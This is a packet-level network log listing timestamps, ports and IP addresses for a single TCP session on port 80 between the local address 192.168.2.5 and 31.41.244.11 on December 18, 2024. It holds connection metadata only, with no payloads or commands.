Dec 18, 2024 15:22:13.884629965 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.884690046 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.884819984 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.885778904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.885848045 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.885937929 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.886682034 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.886785030 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.886848927 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.886848927 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.887588978 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.887695074 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.888006926 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.888747931 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.888756037 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.888806105 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.890595913 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.890670061 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.890707970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.890783072 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.891235113 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.891305923 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.891357899 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.892227888 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.892401934 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.892427921 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.892462015 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.893383980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.893429041 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.893472910 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.893533945 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.894145012 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.894284010 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.894289017 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.894351006 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.895186901 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.895287991 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.895334005 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.895404100 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.896291971 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.896383047 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.896414042 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.896473885 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.897317886 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.897416115 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.897475004 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.897659063 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.898432970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.898602962 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.898628950 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.898679018 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.899502993 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.899617910 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.899674892 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.899674892 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.900585890 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.900734901 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.900736094 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.900798082 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.901638985 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.901779890 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.901797056 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.901870012 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.902791977 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.902839899 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.902894974 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.903786898 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.903858900 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.903920889 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.903980017 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.904872894 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.904970884 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.905132055 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.905189991 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.905921936 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.906075954 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.906126022 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.907061100 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.907113075 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.907160044 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.907243013 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.908138037 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.908227921 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.908371925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.909198999 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.909286022 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.909360886 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.909415960 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.910284042 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.910345078 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.910465956 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.910515070 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.911427975 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.911519051 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.911556959 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.911621094 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.912415981 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.912507057 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:13.912508965 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:13.912599087 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.049427986 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.049627066 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.049688101 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.049781084 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.050035000 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.050117970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.050143957 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.050203085 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.050858974 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.050940990 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.050952911 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.051009893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.051928997 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.051934958 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.052057981 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.052989006 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.053061008 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.053107977 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.053172112 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.054116964 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.054215908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.054627895 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.055119038 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.055191994 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.055229902 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.055229902 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.056294918 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.056371927 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.056437016 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.056437016 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.057332039 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.057434082 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.057447910 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.057495117 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.058336020 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.058378935 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.058444023 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.058536053 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.059464931 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.059551954 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.059561014 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.059608936 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.060519934 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.060559988 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.060592890 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.060636997 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.061558008 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.061657906 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.061680079 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.061789989 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.062634945 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.062717915 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.062766075 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.062836885 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.063767910 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.063879967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.064131975 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.064835072 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.064884901 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.064884901 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.064992905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.065057039 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.066220999 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.066304922 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.066494942 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.066494942 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.066972971 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.067148924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.067265987 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.067266941 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.068109035 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.068198919 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.068244934 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.068428993 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.069610119 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.069653034 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.069667101 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.070125103 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.071460962 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.071609020 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.071656942 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.071717024 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.072154999 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.072201967 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.072206020 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.072273016 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.072978020 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.073023081 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.073064089 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.073952913 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.074057102 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.074117899 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.074632883 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.074923038 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.075016022 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.075061083 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.075061083 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.075982094 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.076052904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.076133966 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.076133966 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.076939106 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.076984882 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.077052116 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.077125072 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.078109026 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.078187943 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.078197002 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.078502893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.078850985 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.078948021 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.078957081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.079005957 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.079921007 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.079978943 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.080143929 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.080312014 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.080991983 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.081099987 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.081115961 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.081406116 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.082066059 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.082185984 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.083228111 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.083322048 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.083322048 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.083355904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.084222078 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.084300995 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.084300995 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.084434986 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.084752083 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.085309982 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.085352898 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.085416079 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.085639000 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.086431026 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.086497068 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.086565018 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.086565018 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.087502003 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.087671041 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.087779999 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.087779999 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.088546038 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.088682890 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.088773966 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.088773966 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.089627981 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.089711905 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.089739084 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.089948893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.090692997 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.090846062 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.091782093 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.091856003 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.091856003 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.091861010 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.092269897 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.092845917 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.092979908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.093084097 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.093084097 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.093970060 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.094115973 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.094163895 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.095007896 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.095101118 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.095141888 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.095211983 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.096219063 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.096323967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.096381903 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.096381903 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.097229958 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.097321033 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.097368002 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.097415924 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.098479986 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.098571062 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.098592043 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.098666906 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.099678993 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.099803925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.099829912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.099879026 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.100792885 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.100872993 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.101243019 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.101780891 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.101823092 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.101890087 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.102597952 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.102797985 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.102849007 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.103051901 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.103703976 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.103756905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.103801966 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.104743004 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.104870081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.104921103 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.105120897 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.105784893 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.105942965 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.243040085 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.243119955 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.243194103 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.243547916 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.243626118 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.243626118 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.243681908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.243773937 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.244489908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.244540930 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.244569063 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.244982958 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.245512009 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.245552063 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.245634079 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.245671034 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.246563911 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.246603966 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.246727943 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.246982098 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.247734070 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.247806072 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.247844934 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.248117924 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.249198914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.249288082 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.249329090 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.249329090 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.250372887 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.250443935 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.250499010 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.250499010 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.251238108 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.251355886 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.251399040 CET	49910	80	192.168.2.5	31.41.244.11
